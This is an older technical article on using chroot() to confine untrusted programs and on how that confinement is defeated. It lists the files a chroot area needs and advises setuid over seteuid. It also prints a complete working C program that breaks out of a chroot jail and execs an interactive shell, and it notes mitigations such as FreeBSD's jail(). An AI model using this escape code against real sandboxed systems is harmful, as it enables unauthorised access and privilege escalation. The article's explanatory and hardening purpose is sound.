This page details how the chroot() system call can be used to provide an additional layer of security when running untrusted programs. It also details how this additional layer of security can be circumvented.
Note the use of the chdir() call before the chroot() call. This is to ensure that the working directory of the process is within the chroot()ed area before the chroot() call takes place. This is due to most implementations of chroot() not changing the working directory of the process to within the directory the process is now chroot()ed in.chdir("/foo/bar"); chroot("/foo/bar");
Important: When using chroot() in anger you need more than the above code; see below for details.
This means that after the chroot() call, an open("/",O_RDONLY) would open the same directory as an open("/foo/bar",O_RDONLY) call before the chroot().
Due to the change in the root directory, the area which a chroot()ed program lives in will require various files and programs for sane operation. For example, the following files are required for the sane operation of the basic shell interpreter sh within a chroot()ed environment.
File | Usage |
---|---|
/bin/sh | The binary for sh |
/usr/ld.so.1 | Dynamically link in the shared object libraries |
/dev/zero | Ensuring that the pages of memory used by shared objects are clear |
/usr/lib/libc.so.1 | The general C library |
/usr/lib/libdl.so.1 | The dynamic linking access library |
/usr/lib/libw.so.1 | Internationalisation library |
/usr/lib/libintl.so.1 | Internationalisation library |
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 | "Processor Specific Runtime" - contains replacements for certain library functions (i.e. memcpy) hand coded in faster assembly. |
It should be noted that this document was written with protecting web servers from rogue CGI scripts in mind. Therefore it is not unreasonable to assume that a user has access to a Perl interpreter. It is then a matter for the user to gain root access via security holes on the box running the web server. Whilst this is outside the topic of the document, an attacker could make use of application programs which are setuid-root and have security holes within them. In a well maintained chroot() area such programs should not exist. However, it should be noted that maintaining a chroot()ed environment is a non-trival task, for example system patches which fix such security holes will not know about the copies of the programs within the chroot()ed area. Ensuring that there are no setuid-root executables within the padded cell is going to be a must.
C compiler or a Perl interpreter Security holes to gain root access
To break out of a chroot()ed area, a program should do the following:
Once the above has been done, the program can run functions as required. A natural function would be to exec() a command interpreter like sh over the current program. The following C program is an example of the attack outlined above. A Perl version is possible, although it is not shown below.
Create a temporary directory in its current working directory Open the current working directory Note: only required if chroot() changes the calling program's working directory.
Change the root directory of the process to the temporary directory using chroot(). Use fchdir() with the file descriptor of the opened directory to move the current working directory outside the chroot()ed area. Note: only required if chroot() changes the calling program's working directory.
Perform chdir("..") calls many times to move the current working directory into the real root directory. Change the root directory of the process to the current working directory, the real root directory, using chroot(".")
The following code is known to work under Solaris and Linux. It is likely to work under most (if not all) Unix varients which have the chroot() system call thanks to how it works[1].
Breaking chroot() | |
---|---|
001 | #include <stdio.h> |
002 | #include <errno.h> |
003 | #include <fcntl.h> |
004 | #include <string.h> |
005 | #include <unistd.h> |
006 | #include <sys/stat.h> |
007 | #include <sys/types.h> |
008 | |
009 | /* |
010 | ** You should set NEED_FCHDIR to 1 if the chroot() on your |
011 | ** system changes the working directory of the calling |
012 | ** process to the same directory as the process was chroot()ed |
013 | ** to. |
014 | ** |
015 | ** It is known that you do not need to set this value if you |
016 | ** running on Solaris 2.7 and below. |
017 | ** |
018 | */ |
019 | #define NEED_FCHDIR 0 |
020 | |
021 | #define TEMP_DIR "waterbuffalo" |
022 | |
023 | /* Break out of a chroot() environment in C */ |
024 | |
025 | int main() { |
026 | int x; /* Used to move up a directory tree */ |
027 | int done=0; /* Are we done yet ? */ |
028 | #ifdef NEED_FCHDIR |
029 | int dir_fd; /* File descriptor to directory */ |
030 | #endif |
031 | struct stat sbuf; /* The stat() buffer */ |
032 | |
033 | /* |
034 | ** First we create the temporary directory if it doesn't exist |
035 | */ |
036 | if (stat(TEMP_DIR,&sbuf)<0) { |
037 | if (errno==ENOENT) { |
038 | if (mkdir(TEMP_DIR,0755)<0) { |
039 | fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, |
040 | strerror(errno)); |
041 | exit(1); |
042 | } |
043 | } else { |
044 | fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, |
045 | strerror(errno)); |
046 | exit(1); |
047 | } |
048 | } else if (!S_ISDIR(sbuf.st_mode)) { |
049 | fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); |
050 | exit(1); |
051 | } |
052 | |
053 | #ifdef NEED_FCHDIR |
054 | /* |
055 | ** Now we open the current working directory |
056 | ** |
057 | ** Note: Only required if chroot() changes the calling program's |
058 | ** working directory to the directory given to chroot(). |
059 | ** |
060 | */ |
061 | if ((dir_fd=open(".",O_RDONLY))<0) { |
062 | fprintf(stderr,"Failed to open "." for reading - %s\n", |
063 | strerror(errno)); |
064 | exit(1); |
065 | } |
066 | #endif |
067 | |
068 | /* |
069 | ** Next we chroot() to the temporary directory |
070 | */ |
071 | if (chroot(TEMP_DIR)<0) { |
072 | fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, |
073 | strerror(errno)); |
074 | exit(1); |
075 | } |
076 | |
077 | #ifdef NEED_FCHDIR |
078 | /* |
079 | ** Partially break out of the chroot by doing an fchdir() |
080 | ** |
081 | ** This only partially breaks out of the chroot() since whilst |
082 | ** our current working directory is outside of the chroot() jail, |
083 | ** our root directory is still within it. Thus anything which refers |
084 | ** to "/" will refer to files under the chroot() point. |
085 | ** |
086 | ** Note: Only required if chroot() changes the calling program's |
087 | ** working directory to the directory given to chroot(). |
088 | ** |
089 | */ |
090 | if (fchdir(dir_fd)<0) { |
091 | fprintf(stderr,"Failed to fchdir - %s\n", |
092 | strerror(errno)); |
093 | exit(1); |
094 | } |
095 | close(dir_fd); |
096 | #endif |
097 | |
098 | /* |
099 | ** Completely break out of the chroot by recursing up the directory |
100 | ** tree and doing a chroot to the current working directory (which will |
101 | ** be the real "/" at that point). We just do a chdir("..") lots of |
102 | ** times (1024 times for luck :). If we hit the real root directory before |
103 | ** we have finished the loop below it doesn't matter as .. in the root |
104 | ** directory is the same as . in the root. |
105 | ** |
106 | ** We do the final break out by doing a chroot(".") which sets the root |
107 | ** directory to the current working directory - at this point the real |
108 | ** root directory. |
109 | */ |
110 | for(x=0;x<1024;x++) { |
111 | chdir(".."); |
112 | } |
113 | chroot("."); |
114 | |
115 | /* |
116 | ** We're finally out - so exec a shell in interactive mode |
117 | */ |
118 | if (execl("/bin/sh","-i",NULL)<0) { |
119 | fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); |
120 | exit(1); |
121 | } |
122 | } |
This topic has been discussed on the security column of SunWorld Online which is written by Carole Fennelly; the August 1999 and January 1999 editions cover most of the chroot() topics. In the August 1999 edition Carole goes into how to prevent the attack above from working - the method is a nasty hack involving fsdb (the file system debugger) and a temporary file system[2]. Basically the method involves fixing the ".." link at the root of the temporary file system so that it points to the root of the file system in much the same way that ".." at the root directory does.
It should be noted that the attack above is quite well known. The fact that it was possible[3] was alleuded to in "An evening with Berferd"[4] An exploit[5] against the wu-ftpd FTP daemon was also posted to the BugTraq mailing list on 1999-03-25. The post containing the exploit is held within the BugTraq archives - see http://www.securityfocus.com/archive/1/12962 for details.
Finally it should be noted that not all version of Unix are vulnerable to this attack. FreeBSD 4.x and above have a better chroot() system call. It can be made to fail if the process has any file descriptors open on a directory. This works by stopping the attack above which essentially works due to a file handle being open on a directory.
Have a look at the FreeBSD 4.xmanual page for chroot() for more details. Also have a look at the manual page for jail() which uses chroot() and can limit a process further under FreeBSD.
The call to chroot() is normally used to ensure that code run after it can only access files at or below a given directory. Originally, chroot() was used to test systems software in a safe environment. It is now generally used to lock users into an area of the file system so that they can not look at or affect the important parts of the system they are on. For example, the most common use of chroot() is ensuring that when user of an anonymous FTP site can not view important system configuration files[6]
This normally means that the user will not be running as root. If this is the case the call to chroot() should look something like the following:
Where non zero UID is the UID the user should be using. This should be a value other than 0, i.e. not the root user. If this is done there should be no way to gain root privilages unless an attacker uses something within the chroot() jail to gain those privilages.chdir("/foo/bar"); chroot("/foo/bar"); setuid(non zero UID);
The seteuid() call should not be used if it can be helped as this does not change the real UID of the process, only its effective UID. It is possible of a process which has a real UID of 0 to do a seteuid(0) to regain root privilages even if its effective UID is not 0 - its the real UID which matters.
There are some cases where it is not easily possible to make use of the setuid() call. In these cases, seteuid() could be looked at. However the developer has to bear in mind that it is a simple hop-skip-seteuid(0) for a process to regain its root privilages and then use the method above to break out of the chroot() jail. The only real reason for making use of the seteuid() call is if the process needs to do something as root on behalf of the user. One example of this is the use of PASV FTP connections as the FTP server will often use ports in the range of 1 to 1024 which requires root privilages.
Such situations can be coded around, however they tend to have their own problems as well.
[1] | The root directory (i.e. /) is stored within each process's
entry in the process table. All the chroot() system call does
is to change the location of the root directory for that process.
Under Solaris the location of the root directory is stored in the user structure as a pointer to a vnode structure. i.e. user.u_rdir is a struct vnode *. The user structure, available from /usr/include/sys/user.h, can be found by referencing the p_user entry in the proc structure which even process is given. See /usr/include/sys/proc.h for details of the proc structure. |
---|---|
[2] | It involves a temporary file system as fsck would complain bitterly if it was run over a file system which had this protection method run over it. |
[3] | Which got me thinking in the first place about how you could do the above |
[4] | "An evening with Berford in which a Cracker is Lured, Endured and Studied" is a document written by Bill Cheswick which cronicles a crackers actitivies after being lured in a chroot()ed padded cell. The PostScript for this document is available (note that it is 80Kb in size). |
[5] | The realpath() buffer over-run is used in this one |
[6] | i.e. /etc/passwd on systems which do not use a shadow password file |